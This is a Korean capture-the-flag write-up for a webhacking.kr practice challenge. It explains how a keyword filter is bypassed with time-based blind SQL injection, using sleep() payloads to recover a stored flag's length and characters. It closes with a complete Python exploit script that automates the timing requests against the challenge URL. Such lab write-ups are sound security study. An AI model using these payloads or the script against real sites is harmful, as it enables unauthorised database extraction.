문제분석 & 풀이
페이지에 접속하면 message를 제출하는 칸이 있다.
하단에 소스가 있어서 분석해봤다.
1. msg, se 파라미터 값을 받아서 addslashes() 를 통해 이스케이프 처리해준다.
2. se 파라미터에 select, and , or , not , & , | , benchmark 가 있으면 프로그램 종료된다.
3. sql 쿼리를 실행하여 DB에 flag값과 함께 데이터를 추가한다.
4. rand(0,100)으로 나온 값이 1이면 DB의 chall57 테이블의 데이터는 삭제된다.
결론적으로 3번에서 insert 문으로 데이터가 추가될 때 같이 저장되는 $flag값을 알아내는 것이 이번 문제의 목표이다.
인젝션을 통해 DB에 저장된 $flag값을 빼내야 할 것이다. 그러나 소스를 보면 프로그램이 동작하는 동안 따로 값을 출력하거나 하는 부분이 하나도 없다.
출력값을 통해 해당 값이 $flag가 맞는지 아닌지 구별을 해야하는데 그런 수단이 없다는 것이다.
그렇다면 어떻게 구별을 해서 $flag값을 빼내야 할까??
필자가 생각한 방법은 sleep() 함수를 이용하는 방법이다.
if((length(pw))like({i}),sleep(3),0)
다른 프로그래밍 언어와 마찬가지로 sql에도 sleep() 함수가 존재한다.
위 쿼리를 예로 들어보면 pw값의 길이가 i가 맞다면 sleep(3)에 의해 3초 뒤에 결과가 반환되고 아닌 경우에는 바로 반환된다.
그렇다면 시간에 따라 결과값의 차이를 구별할 수 있기 때문에 인젝션을 해서 flag값이 맞는지 안맞는지 이를 통해 구별하는 것이 가능하다!
sleep() 함수를 이용해서 인젝션을 시도해보자.
if((length(pw))like({i}),sleep(3),0)
(i는 flag의 길이)
소스의 insert문을 보면 $flag값의 속성명이 pw인 것이 확인되어 pw를 사용했다.
위와 같이 flag 길이를 알아내기 위한 페이로드를 완성했다.
길이를 구해보니 24자리가 나온다.
if((ascii(substr(pw,{i},1)))like({j}),sleep(3),0)
(i는 인덱스, j는 i번째 인덱스의 값)
이번에는 flag값을 구하기 위해 위와 같은 페이로드를 만들었다.
이제 flag값을 구해보자!
flag값이 나왔다!
exploit
from requests import *
from time import *
leng=0
result=''
count=0
for i in range(40):
url=f'''https://webhacking.kr/challenge/web-34/index.php?msg=123&se=if((length(pw))like({i}),sleep(3),0)'''
start=time()
response=get(url=url)
end=time()
if end-start > 3:
print('flag 길이 :',i)
leng=i
break
for i in range(1,leng+1):
if count>100:
print('query err')
break
for j in range(30,128):
url=f'''https://webhacking.kr/challenge/web-34/index.php?msg=123&se=if((ascii(substr(pw,{i},1)))like({j}),sleep(3),0)'''
start=time()
response=get(url=url)
end=time()
count+=1
if end-start > 3:
result+=chr(j)
count=0
break
print('flag :',result)